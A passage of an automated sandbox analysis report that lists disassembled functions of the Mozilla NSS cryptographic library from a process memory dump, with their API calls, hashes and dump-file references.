Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CBCAB3E,?,?), ref: 6CBCAC70

Part of subcall function 6CBAE300: TlsGetValue.KERNEL32 ref: 6CBAE33C
Part of subcall function 6CBAE300: EnterCriticalSection.KERNEL32(?), ref: 6CBAE350
Part of subcall function 6CBAE300: PR_Unlock.NSS3(?), ref: 6CBAE5BC
Part of subcall function 6CBAE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CBAE5CA
Part of subcall function 6CBAE300: TlsGetValue.KERNEL32 ref: 6CBAE5F2
Part of subcall function 6CBAE300: EnterCriticalSection.KERNEL32(?), ref: 6CBAE606
Part of subcall function 6CBAE300: PORT_Alloc_Util.NSS3(?), ref: 6CBAE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CBCAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBCAB3E), ref: 6CBCACD7
PORT_Alloc_Util.NSS3(?), ref: 6CBCAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CBCAD2B

Part of subcall function 6CBAF360: TlsGetValue.KERNEL32(00000000,?,6CBCA904,?), ref: 6CBAF38B
Part of subcall function 6CBAF360: EnterCriticalSection.KERNEL32(?,?,?,6CBCA904,?), ref: 6CBAF3A0
Part of subcall function 6CBAF360: PR_Unlock.NSS3(?,?,?,?,6CBCA904,?), ref: 6CBAF3D3

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d214edb0653627ce2a9cac3bc205370e2addf1a2745a8273381c69c10418798c
Instruction ID: d7904413b49efbc8b3a6ad4f489718736c2122807fc8c59ae88b3af04ca93d2a
Opcode Fuzzy Hash: d214edb0653627ce2a9cac3bc205370e2addf1a2745a8273381c69c10418798c
Instruction Fuzzy Hash: C2313BB1F006595FEB008F69CC409AF77B6EF8471CB188128E81597740EB31ED16CBA2

Function 6CBA8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CBA8C7C

Part of subcall function 6CC49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DC6
Part of subcall function 6CC49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DD1
Part of subcall function 6CC49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC49DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA8CB0
TlsGetValue.KERNEL32 ref: 6CBA8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CBA8CE5
PR_Unlock.NSS3(?), ref: 6CBA8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CBA8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBA8D93

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 530dd6b87eed08630f0f304fed26b3cd51761b099f35a189a59d815f790037b9
Instruction ID: 2a6f2456304fb6bf3a2093306bf578c650526b9a91efd2c6bcfbf41f086fd4cd
Opcode Fuzzy Hash: 530dd6b87eed08630f0f304fed26b3cd51761b099f35a189a59d815f790037b9
Instruction Fuzzy Hash: A7316A71E04291AFE700AFA8DC4079AB7B4FF15318F14013AEA9567F50E732A925CBD2

Function 6CBE9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CBE9C5B), ref: 6CBE9D82

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CBE9C5B), ref: 6CBE9DA9

Part of subcall function 6CBE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE136A
Part of subcall function 6CBE1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE137E
Part of subcall function 6CBE1340: PL_ArenaGrow.NSS3(?,6CB7F599,?,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?), ref: 6CBE13CF
Part of subcall function 6CBE1340: PR_Unlock.NSS3(?,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CBE9C5B), ref: 6CBE9DCE

Part of subcall function 6CBE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB7F599,?,00000000), ref: 6CBE13F0
Part of subcall function 6CBE1340: PL_ArenaGrow.NSS3(?,6CB7F599,?,?,?,00000000,00000000,?,6CB8895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CBE1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CBE9C5B), ref: 6CBE9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CBE9C5B), ref: 6CBE9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CBE9C5B), ref: 6CBE9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CBE9C5B), ref: 6CBE9E91

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

Part of subcall function 6CBE1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CBDFAAB,00000000), ref: 6CBE157E
Part of subcall function 6CBE1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CBDFAAB,00000000), ref: 6CBE1592
Part of subcall function 6CBE1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CBE1600
Part of subcall function 6CBE1560: PL_ArenaRelease.NSS3(?,?), ref: 6CBE1620
Part of subcall function 6CBE1560: PR_Unlock.NSS3(?), ref: 6CBE1639

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 75e803ea4c05373dd57930897c9c0f49a463e0281b3e9d98fe30d8623656a153
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 6B41B6B4901642AFE700CF15D840B96B7A5FF49788F288128D9144BFA1EB72E838CFC1

Function 6CBADDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CBADDEC

Part of subcall function 6CBE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CBADE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CBADE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CBADE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CBADEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBADEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBADECC

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 5f94f7ec51ead0b05475317cd00494a1a5675d32d58449a619697257507e2b01
Instruction ID: 36b0397dea45b4c37e53fc7450b11f5a45217e1115a6738357821699a4c7da3e
Opcode Fuzzy Hash: 5f94f7ec51ead0b05475317cd00494a1a5675d32d58449a619697257507e2b01
Instruction Fuzzy Hash: 1B31A6B29042946BDF00AEB4AC41BBF76B8DF54708F050125ED49A7701FB31DD19C6E2

Function 6CB87E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB87E48

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CB87E5B

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB87E7B

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CCA925C,?), ref: 6CB87E92

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB87EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CB87ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CB87EFA

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 3a9519a0e74d8514df350911173386952a8f491e5e7641511bad61b3d66c3eef
Instruction ID: 4c43238f42de58601c937fbb2e8b188c6d687f24e9af1e9a1fa4e32d07a12f7c
Opcode Fuzzy Hash: 3a9519a0e74d8514df350911173386952a8f491e5e7641511bad61b3d66c3eef
Instruction Fuzzy Hash: 00317EB2B022919BEB108B699C40B5B73ACEF5465DF194924EC55EBB41F770EC04CBB1

Function 6CBDDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CBDD9E4,00000000), ref: 6CBDDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CBDD9E4,00000000), ref: 6CBDDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CBDD9E4,00000000), ref: 6CBDDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBDDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBDDCAD

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 507a649b96ffb08fb6c3cd2de76c98ff5f3d92563230a33d60fa09f163f4809d
Instruction ID: fad575faee12e52f8518cd25bc7dd1bebec27510a20544f96569e2a6dc54a6da
Opcode Fuzzy Hash: 507a649b96ffb08fb6c3cd2de76c98ff5f3d92563230a33d60fa09f163f4809d
Instruction Fuzzy Hash: 753160B5A012819FD710CF69F880B56B7F8EF15358F194429E988CBB01E771E944CFA2

Function 6CBA2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CB9E728,?,00000038,?,?,00000000), ref: 6CBA2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBA2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBA2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CBA2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CBA2E9E
PR_Unlock.NSS3(?), ref: 6CBA2EAB
PR_Unlock.NSS3(?), ref: 6CBA2F0D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 9b2f3dd267b5360b4a783302d60702ebb2e62b675a1c7439af86adbd76486695
Instruction ID: f23aec408798bca6d259d3a5365983bca4dcbc0602827e8a53badfadb217c3f6
Opcode Fuzzy Hash: 9b2f3dd267b5360b4a783302d60702ebb2e62b675a1c7439af86adbd76486695
Instruction Fuzzy Hash: FC3134B5A04545ABEF005F69EC4486AB778EF0A258B048174EC48C3A11FB32ECA5C7E2

Function 6CBECEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CBECD93,?), ref: 6CBECEEE

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBECD93,?), ref: 6CBECEFC

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBECD93,?), ref: 6CBECF0B

Part of subcall function 6CBE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBECD93,?), ref: 6CBECF1D

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CBECD93,?,?,?,?,?,?,?,?,?,?,?,6CBECD93,?), ref: 6CBECF78

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 52fda2ea89085ad304ba7c169253161c0e48fae7062796877e66f7a7a8204384
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 151196A5A0038457EB045FA66C41B6F79ECDF5C989F144439EC09D7742FB70DA0886E2

Function 6CB98C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB98C1B
EnterCriticalSection.KERNEL32 ref: 6CB98C34
PL_ArenaAllocate.NSS3 ref: 6CB98C65
PR_Unlock.NSS3 ref: 6CB98C9C
PR_Unlock.NSS3 ref: 6CB98CB6

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

Strings

KRAM, xrefs: 6CB98C8F

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: f6ce3bb67b5f8a1b361691080dd222e52f5d89aaa63c05dd56c4988a4db46450
Instruction ID: 790b4e4d59ce5260b5901760df2ab46c22052e946b62a0f1b08d326c01cb9501
Opcode Fuzzy Hash: f6ce3bb67b5f8a1b361691080dd222e52f5d89aaa63c05dd56c4988a4db46450
Instruction Fuzzy Hash: AA214CB1A05A418FD700AF78C484569BBF4FF46304F15897ED898CB711EB36E899CB92

Function 6CC13E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PR_EnterMonitor.NSS3(?), ref: 6CC13E45

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

PR_EnterMonitor.NSS3(?), ref: 6CC13E5C
PR_EnterMonitor.NSS3(?), ref: 6CC13E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC13EA6

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_ExitMonitor.NSS3(?), ref: 6CC13EC0
PR_ExitMonitor.NSS3(?), ref: 6CC13ED7
PR_ExitMonitor.NSS3(?), ref: 6CC13EEE

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: db5bf546a8acf606f8e41ad5d801e82ddf680099454eefa7aa93104de18fe54f
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 9811A571514710ABDB319E2AFC02BC7B7A59F4131CF048834E65A86E21F636E929E742

Function 6CC92C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CC92CA0
PR_ExitMonitor.NSS3 ref: 6CC92CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CC92CD1
strdup.MOZGLUE(?), ref: 6CC92CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CC92D27

Strings

Loaded library %s (static lib), xrefs: 6CC92D22

Memory Dump Source

